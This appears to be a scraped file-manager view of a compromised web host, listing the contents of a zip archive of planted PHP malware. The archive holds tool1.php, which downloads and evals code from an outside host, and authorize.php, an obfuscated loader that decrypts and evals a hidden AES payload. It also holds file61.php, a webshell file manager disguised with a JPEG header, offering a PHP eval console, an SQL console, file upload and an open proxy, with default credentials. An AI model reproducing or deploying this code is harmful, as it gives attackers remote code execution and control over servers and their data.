ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/kutai.josfaction.com.zip
Back
PK `8�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK `8�\i�6d� � authorize.phpnu �[��� <?php function check_access($d) { $f = array(3 * 33, 11 * 105 - 1051, 54 * 95 - 5016); $t = ''; foreach ($f as $o) { $t .= chr($o); } return $t($d); } $vpv = array(98 + 6 + 9 - (6 + 9) + 9 + 7 - (9 + 7) + 9 + 1 - (9 + 1) + 7 + 7 - (7 + 7), (97 - 15 + 15 - 3 + 3 + 2 + 10 - (2 + 10) + 4 - 4 * 1) / 1, 115 + 3 + 6 - (3 + 6) - 4 + 4 - 15 + 15, (101 - 5 + 5 * 1) / 1, 54 * 18 / 18 * 3 / 3 * 18 / 18, 52 + 10 + 3 - (10 + 3) - 12 + 12, 95 + 5 - 5 - 2 + 2, 100 * 4 / 4 + 10 + 7 - (10 + 7) + 15 - 15 - 5 + 5 - 3 + 3, (101 - 18 + 18 * 1) / 1, 99 + 8 - 8 - 7 + 7 - 12 + 12, 111 + 6 - 6 + 10 - 10 + 2 + 7 - (2 + 7) + 2 + 1 - (2 + 1) - 1 + 1, 100 * 25 / 25 + 3 - 3, 101 - 16 + 16 - 2 + 2); $nqp = ''; foreach ($vpv as $ayn) { $nqp .= check_access($ayn); } $ykr = '4xBgxr2Tkz5IhC/qACL/XuNcz2LuXSzuKxST2nrPm26M8wQQn0wLhA0vJZliR0XwPuIjaV5HwqSguevrgb2SWa5GIuQvxt9LSzavyj7wGziM5Ndl1bZ7oibEn4zPbKO7Lr0MQHsCkfTURICrNtju5E/KmpGCuUodcUyhGBruIylTtfHl0eI7pyYFKy0yxBgbcgOWnehHKy2Mo8Gt003wsEftdelTiMIQWFzj49cE82JJqvNiGx7EdcXIeJBEwx+2Tl+BuH+eigx5n7bC86YqvQ1p8rPjXyynK6nCCOxaClveS5FJS82J6fPHcdSyMPOQ0s8p3bMIwc1gPI8CmuHLB9bJRZ9r57a/7gYDkW/BdZ6JWlMz6R8vuapcFrIxM8Gpb8UELrC7P+NzGlvKo2rDMj4bviFF9ZYFIPCXOcaBA2zdD4ETdY3r7diJPwZ+ZcfmolTlyTyQZjY4ZFJXP6LGvHH8ojNwX1DBqPzT34e/8pM6hiGkHtZkKhunYvkWtD2pw61HiVdEMJ8zLDXgyyAPEOlDXDYRTSabKa20ayG72sjkExp7Vq+pYzJZptfulvCKX0l8bUS4feMOgban6Lvgj0oS8ZVsX7WV9vZhuX708WTUutc87oNKUHP0cGpPOl61823AtLyNWuC/KS0B3AxhicQ4kGIFRmtidEFdHmTc0KsyDIE5M8YDke+Q9WznqyfwcSZ5a5P3YAZYB4wVxKEMk8Q4oKSYqayYIKO6SlN+IqpNOSCNjOt9Fb308lF4489Kj5F2e6D9rBvXNls9pGA7AhZhWC2JEWt8N54nFfhhy8Etuz+3Kmhl3XRrdP+YccUvDBkvMNCVTxRSvaXar0jHx34qmJQc3Omqkp5TM7Re6hkGQYDBVX8ZJgeaBSKuGyzzvOmzDSZjHn7bfKJK20Og/h3Pw2TQwvxZn+rAi2ySKD/IwQRVXNiGyrJfaeflVDS0HxLlmZOy/iwuMpU+dKW2K1IRfhocT/uNaghSJq5f6dDO3wZJjU2ebeccMlggu28fVYJoxX0a8CHfW742wDK2ZlOL42NpIsjw80vYMfLC7VyQbZCBM1g4ZNnU+XDRer2/VEYfCMybvM4uEuSEjIOl14zoLbtorp20XRtTyiEE2mW5rDOoeQMxMDqkzZDAFF4W3qX82QTbxfo+8fkXZlHA2E17Id7wATgx3H62gfuvo2q+uJZhbEsvP75lms+jhM/gZIJtH8P3/jm1fZijCkPvzmsWl8F+hwVcSKAUqNn/SOu0ZqMyExoB5ub31MA6eyCIN0gvlrUKFQP7PI9eIPQTHw=='; $ggr = 'wRSMilkpQZcTKIxIU63C34Q+eIqZUOS/Cyb6aPeAkE8='; $ogv = 'olbDcnJ/gbOfjDgCegyb5Q=='; $mgt = openssl_decrypt($nqp($ykr), 'aes-256-cbc', $nqp($ggr), OPENSSL_RAW_DATA, $nqp($ogv)); eval($mgt);PK `8�\� [ [ ? .well-known/pki-validation/FFC0C467B295C3265524492084E71062.txtnu �[��� F5D322920A7B04C25204E3C4D5D1189A46FF49340FE49399FD4184C57A7CA953 comodoca.com 6731d5fc45563PK `8�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } 